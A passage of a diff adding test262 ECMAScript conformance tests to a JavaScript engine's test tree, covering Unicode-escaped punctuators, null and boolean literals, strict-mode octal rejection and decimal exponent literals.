+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T3.js
+ * @description Try to use [] as a Unicode \u005B\u005D
+ * @negative
+ */
+
+\u005B\u005D;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T4.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T4.js
new file mode 100644
index 000000000..c877858e2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T4.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T4.js
+ * @description Try to use ; as a Unicode \u003B
+ * @negative
+ */
+
+\u003B;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T5.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T5.js
new file mode 100644
index 000000000..1b92226af
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T5.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T5.js
+ * @description Try to use . as a Unicode \u002E
+ * @negative
+ */
+
+x = 1;
+this\u002Ex;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T6.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T6.js
new file mode 100644
index 000000000..e0cb0382f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T6.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T6.js
+ * @description Try to use , as a Unicode \u002C
+ * @negative
+ */
+
+1\u002C2;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T7.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T7.js
new file mode 100644
index 000000000..aff3092a6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T7.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T7.js
+ * @description Try to use + as a Unicode \u002B
+ * @negative
+ */
+
+1\u002B2;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T8.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T8.js
new file mode 100644
index 000000000..9e9cd1ac4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T8.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T8.js
+ * @description Try to use - as a Unicode \u002D
+ * @negative
+ */
+
+1\u002D2;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T9.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T9.js
new file mode 100644
index 000000000..7ba61f5a9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T9.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T9.js
+ * @description Try to use * as a Unicode \u002A
+ * @negative
+ */
+
+1\u002A2;
+
diff --git a/js/src/tests/test262/ch07/7.7/browser.js b/js/src/tests/test262/ch07/7.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/browser.js
diff --git a/js/src/tests/test262/ch07/7.7/shell.js b/js/src/tests/test262/ch07/7.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/shell.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.1/S7.8.1_A1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.1/S7.8.1_A1_T1.js
new file mode 100644
index 000000000..e7b188b6c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.1/S7.8.1_A1_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Literal :: NullLiteral
+ *
+ * @path ch07/7.8/7.8.1/S7.8.1_A1_T1.js
+ * @description Check null === null
+ */
+
+//CHECK#1
+if (null !== null) {
+ $ERROR('#1: null === null');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.1/S7.8.1_A1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.1/S7.8.1_A1_T2.js
new file mode 100644
index 000000000..340f8bed4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.1/S7.8.1_A1_T2.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Literal :: NullLiteral
+ *
+ * @path ch07/7.8/7.8.1/S7.8.1_A1_T2.js
+ * @description Check RegExp("0").exec("1") === null
+ */
+
+//CHECK#1
+if (RegExp("0").exec("1") !== null) {
+ $ERROR('#1: RegExp("0").exec("1") === null');
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.1/browser.js b/js/src/tests/test262/ch07/7.8/7.8.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.1/browser.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.1/shell.js b/js/src/tests/test262/ch07/7.8/7.8.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.1/shell.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.2/S7.8.2_A1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.2/S7.8.2_A1_T1.js
new file mode 100644
index 000000000..f2925a291
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.2/S7.8.2_A1_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Literal :: BooleanLiteral
+ *
+ * @path ch07/7.8/7.8.2/S7.8.2_A1_T1.js
+ * @description BooleanLiteral :: true
+ */
+
+//CHECK#1
+if (Boolean(true) !== true) {
+ $ERROR('#1: Boolean(true) === true. Actual: Boolean(true) === ' + (Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.2/S7.8.2_A1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.2/S7.8.2_A1_T2.js
new file mode 100644
index 000000000..5adaf379d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.2/S7.8.2_A1_T2.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Literal :: BooleanLiteral
+ *
+ * @path ch07/7.8/7.8.2/S7.8.2_A1_T2.js
+ * @description BooleanLiteral :: false
+ */
+
+//CHECK#1
+if (Boolean(false) !== false) {
+ $ERROR('#1: Boolean(false) === false. Actual: Boolean(false) === ' + (Boolean(false)));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.2/browser.js b/js/src/tests/test262/ch07/7.8/7.8.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.2/browser.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.2/shell.js b/js/src/tests/test262/ch07/7.8/7.8.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.2/shell.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-1-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-1-s.js
new file mode 100644
index 000000000..fa67b5095
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-1-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-1-s.js
+ * @description Strict Mode - octal extension (010) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_1 = 010;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_1 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-1gs.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-1gs.js
new file mode 100644
index 000000000..91b6ceae2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-1gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-1gs.js
+ * @description Strict Mode - octal extension(010) is forbidden in strict mode
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+var y = 010;
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-2-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-2-s.js
new file mode 100644
index 000000000..79755f8df
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-2-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-2-s.js
+ * @description Strict Mode - octal extension (00) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_2 = 00;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_2 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-2gs.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-2gs.js
new file mode 100644
index 000000000..dae203a53
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-2gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-2gs.js
+ * @description Strict Mode - octal extension is forbidden in strict mode (after a hex number is assigned to a variable)
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+var a;
+a = 0x1;
+a = 01;
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-3-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-3-s.js
new file mode 100644
index 000000000..7d33f9a5c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-3-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-3-s.js
+ * @description Strict Mode - octal extension (01) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_3 = 01;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_3 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-3gs.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-3gs.js
new file mode 100644
index 000000000..48d56d63e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-3gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-3gs.js
+ * @description Strict Mode - octal extension is forbidden in strict mode (after a hex number is assigned to a variable from an eval)
+ * @onlyStrict
+ * @negative SyntaxError
+ */
+
+"use strict";
+var a;
+eval("a = 0x1;a = 01;");
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-4-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-4-s.js
new file mode 100644
index 000000000..53a486b05
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-4-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-4-s.js
+ * @description Strict Mode - octal extension (06) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_4 = 06;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_4 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-5-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-5-s.js
new file mode 100644
index 000000000..98ac43f58
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-5-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-5-s.js
+ * @description Strict Mode - octal extension (07) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_5 = 07;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_5 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-6-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-6-s.js
new file mode 100644
index 000000000..fe2f60c64
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-6-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-6-s.js
+ * @description Strict Mode - octal extension (000) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_6 = 000;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_6 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-7-s.js b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-7-s.js
new file mode 100644
index 000000000..d0ffda882
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/7.8.3-7-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.3/7.8.3-7-s.js
+ * @description Strict Mode - octal extension (005) is forbidden in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var _7_8_3_7 = 005;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof _7_8_3_7 === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.1_T1.js
new file mode 100644
index 000000000..ff82f498e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.1_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.1_T1.js
+ * @description DecimalIntegerLiteral :: 0, NoNZeroDigit
+ */
+
+//CHECK#0
+if (0 !== 0) {
+ $ERROR('#0: 0 === 0');
+}
+
+//CHECK#1
+if (1 !== 1) {
+ $ERROR('#1: 1 === 1');
+}
+
+//CHECK#2
+if (2 !== 2) {
+ $ERROR('#2: 2 === 2');
+}
+
+//CHECK#3
+if (3 !== 3) {
+ $ERROR('#3: 3 === 3');
+}
+
+//CHECK#4
+if (4 !== 4) {
+ $ERROR('#4: 4 === 4');
+}
+
+//CHECK#5
+if (5 !== 5) {
+ $ERROR('#5: 5 === 5');
+}
+
+//CHECK#6
+if (6 !== 6) {
+ $ERROR('#6: 6 === 6');
+}
+
+//CHECK#7
+if (7 !== 7) {
+ $ERROR('#7: 7 === 7');
+}
+
+//CHECK#8
+if (8 !== 8) {
+ $ERROR('#8: 8 === 8');
+}
+
+//CHECK#9
+if (9 !== 9) {
+ $ERROR('#9: 9 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.1_T2.js
new file mode 100644
index 000000000..df2206462
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.1_T2.js
+ * @description DecimalIntegerLiteral :: NoNZeroDigit DecimalDigits
+ */
+
+//CHECK#1
+if (11 !== 11) {
+ $ERROR('#1: 11 === 11');
+}
+
+//CHECK#2
+if (22 !== 22) {
+ $ERROR('#2: 22 === 22');
+}
+
+//CHECK#3
+if (33 !== 33) {
+ $ERROR('#3: 33 === 33');
+}
+
+//CHECK#4
+if (44 !== 44) {
+ $ERROR('#4: 44 === 44');
+}
+
+//CHECK#5
+if (55 !== 55) {
+ $ERROR('#5: 55 === 55');
+}
+
+//CHECK#6
+if (66 !== 66) {
+ $ERROR('#6: 66 === 66');
+}
+
+//CHECK#7
+if (77 !== 77) {
+ $ERROR('#7: 77 === 77');
+}
+
+//CHECK#8
+if (88 !== 88) {
+ $ERROR('#8: 88 === 88');
+}
+
+//CHECK#9
+if (99 !== 99) {
+ $ERROR('#9: 99 === 99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T1.js
new file mode 100644
index 000000000..50a042d2c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T1.js
+ * @description ExponentPart :: e DecimalDigits
+ */
+
+//CHECK#0
+if (0e1 !== 0) {
+ $ERROR('#0: 0e1 === 0');
+}
+
+//CHECK#1
+if (1e1 !== 10) {
+ $ERROR('#1: 1e1 === 10');
+}
+
+//CHECK#2
+if (2e1 !== 20) {
+ $ERROR('#2: 2e1 === 20');
+}
+
+//CHECK#3
+if (3e1 !== 30) {
+ $ERROR('#3: 3e1 === 30');
+}
+
+//CHECK#4
+if (4e1 !== 40) {
+ $ERROR('#4: 4e1 === 40');
+}
+
+//CHECK#5
+if (5e1 !== 50) {
+ $ERROR('#5: 5e1 === 50');
+}
+
+//CHECK#6
+if (6e1 !== 60) {
+ $ERROR('#6: 6e1 === 60');
+}
+
+//CHECK#7
+if (7e1 !== 70) {
+ $ERROR('#7: 7e1 === 70');
+}
+
+//CHECK#8
+if (8e1 !== 80) {
+ $ERROR('#8: 8e1 === 80');
+}
+
+//CHECK#9
+if (9e1 !== 90) {
+ $ERROR('#9: 9e1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T2.js
new file mode 100644
index 000000000..f2398a460
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T2.js
+ * @description ExponentPart :: E DecimalDigits
+ */
+
+//CHECK#0
+if (0E1 !== 0) {
+ $ERROR('#0: 0E1 === 0');
+}
+
+//CHECK#1
+if (1E1 !== 10) {
+ $ERROR('#1: 1E1 === 1');
+}
+
+//CHECK#2
+if (2E1 !== 20) {
+ $ERROR('#2: 2E1 === 20');
+}
+
+//CHECK#3
+if (3E1 !== 30) {
+ $ERROR('#3: 3E1 === 30');
+}
+
+//CHECK#4
+if (4E1 !== 40) {
+ $ERROR('#4: 4E1 === 40');
+}
+
+//CHECK#5
+if (5E1 !== 50) {
+ $ERROR('#5: 5E1 === 50');
+}
+
+//CHECK#6
+if (6E1 !== 60) {
+ $ERROR('#6: 6E1 === 60');
+}
+
+//CHECK#7
+if (7E1 !== 70) {
+ $ERROR('#7: 7E1 === 70');
+}
+
+//CHECK#8
+if (8E1 !== 80) {
+ $ERROR('#8: 8E1 === 80');
+}
+
+//CHECK#9
+if (9E1 !== 90) {
+ $ERROR('#9: 9E1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T3.js
new file mode 100644
index 000000000..352745f8a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T3.js
+ * @description ExponentPart :: e -DecimalDigits
+ */
+
+//CHECK#0
+if (0e-1 !== 0) {
+ $ERROR('#0: 0e-1 === 0');
+}
+
+//CHECK#1
+if (1e-1 !== 0.1) {
+ $ERROR('#1: 1e-1 === 0.1');
+}
+
+//CHECK#2
+if (2e-1 !== 0.2) {
+ $ERROR('#2: 2e-1 === 0.2');
+}
+
+//CHECK#3
+if (3e-1 !== 0.3) {
+ $ERROR('#3: 3e-1 === 0.3');
+}
+
+//CHECK#4
+if (4e-1 !== 0.4) {
+ $ERROR('#4: 4e-1 === 0.4');
+}
+
+//CHECK#5
+if (5e-1 !== 0.5) {
+ $ERROR('#5: 5e-1 === 0.5');
+}
+
+//CHECK#6
+if (6e-1 !== 0.6) {
+ $ERROR('#6: 6e-1 === 0.6');
+}
+
+//CHECK#7
+if (7e-1 !== 0.7) {
+ $ERROR('#7: 7e-1 === 0.7');
+}
+
+//CHECK#8
+if (8e-1 !== 0.8) {
+ $ERROR('#8: 8e-1 === 0.8');
+}
+
+//CHECK#9
+if (9e-1 !== 0.9) {
+ $ERROR('#9: 9e-1 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T4.js
new file mode 100644
index 000000000..b0f95210f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T4.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T4.js
+ * @description ExponentPart :: E -DecimalDigits
+ */
+
+//CHECK#0
+if (0E-1 !== 0) {
+ $ERROR('#0: 0E-1 === 0');
+}
+
+//CHECK#1
+if (1E-1 !== 0.1) {
+ $ERROR('#1: 1E-1 === 0.1');
+}
+
+//CHECK#2
+if (2E-1 !== 0.2) {
+ $ERROR('#2: 2E-1 === 0.2');
+}
+
+//CHECK#3
+if (3E-1 !== 0.3) {
+ $ERROR('#3: 3E-1 === 0.3');
+}
+
+//CHECK#4
+if (4E-1 !== 0.4) {
+ $ERROR('#4: 4E-1 === 0.4');
+}
+
+//CHECK#5
+if (5E-1 !== 0.5) {
+ $ERROR('#5: 5E-1 === 0.5');
+}
+
+//CHECK#6
+if (6E-1 !== 0.6) {
+ $ERROR('#6: 6E-1 === 0.6');
+}
+
+//CHECK#7
+if (7E-1 !== 0.7) {
+ $ERROR('#7: 7E-1 === 0.7');
+}
+
+//CHECK#8
+if (8E-1 !== 0.8) {
+ $ERROR('#8: 8E-1 === 0.8');
+}
+
+//CHECK#9
+if (9E-1 !== 0.9) {
+ $ERROR('#9: 9E-1 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T5.js
new file mode 100644
index 000000000..87c79f63d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T5.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T5.js
+ * @description ExponentPart :: e +DecimalDigits
+ */
+
+//CHECK#0
+if (0e+1 !== 0) {
+ $ERROR('#0: 0e+1 === 0');
+}
+
+//CHe+CK#1
+if (1e+1 !== 10) {
+ $ERROR('#1: 1e+1 === 10');
+}
+
+//CHe+CK#2
+if (2e+1 !== 20) {
+ $ERROR('#2: 2e+1 === 20');
+}
+
+//CHe+CK#3
+if (3e+1 !== 30) {
+ $ERROR('#3: 3e+1 === 30');
+}
+
+//CHe+CK#4
+if (4e+1 !== 40) {
+ $ERROR('#4: 4e+1 === 40');
+}
+
+//CHe+CK#5
+if (5e+1 !== 50) {
+ $ERROR('#5: 5e+1 === 50');
+}
+
+//CHe+CK#6
+if (6e+1 !== 60) {
+ $ERROR('#6: 6e+1 === 60');
+}
+
+//CHe+CK#7
+if (7e+1 !== 70) {
+ $ERROR('#7: 7e+1 === 70');
+}
+
+//CHe+CK#8
+if (8e+1 !== 80) {
